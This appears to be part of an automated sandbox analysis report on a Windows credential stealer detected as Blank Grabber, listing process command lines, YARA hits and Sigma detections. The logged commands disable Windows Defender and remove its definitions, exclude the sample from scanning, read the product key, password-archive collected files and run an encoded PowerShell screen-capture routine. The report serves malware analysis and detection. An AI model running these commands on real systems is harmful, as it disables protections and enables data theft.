powershell.exe (PID: 7612 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1432 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5592 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8052 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7200 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI73802\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.1986903181.000002290AFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1720264732.000001F32EEE2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1982629773.000002290B711000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1720264732.000001F32EEE4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e45AiBoV6X.exe PID: 7380	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: e45AiBoV6X.exe PID: 7396	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: e45AiBoV6X.exe PID: 7396	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e45AiBoV6X.exe PID: 7396	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\e45AiBoV6X.exe", ParentImage: C:\Users\user\Desktop\e45AiBoV6X.exe, ParentProcessId: 7396, ParentProcessName: e45AiBoV6X.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\e45AiBoV6X.exe'", ProcessId: 7452, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\e45AiBoV6X.exe", ParentImage: C:\Users\user\Desktop\e45AiBoV6X.exe, ParentProcessId: 7396, ParentProcessName: e45AiBoV6X.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7460, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\e45AiBoV6X.exe", ParentImage: C:\Users\user\Desktop\e45AiBoV6X.exe, ParentProcessId: 7396, ParentProcessName: e45AiBoV6X.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *", ProcessId: 7188, ProcessName: cmd.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 7780, StartAddress: 213032B0, TargetImage: C:\Windows\System32\systeminfo.exe, TargetProcessId: 7780

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAH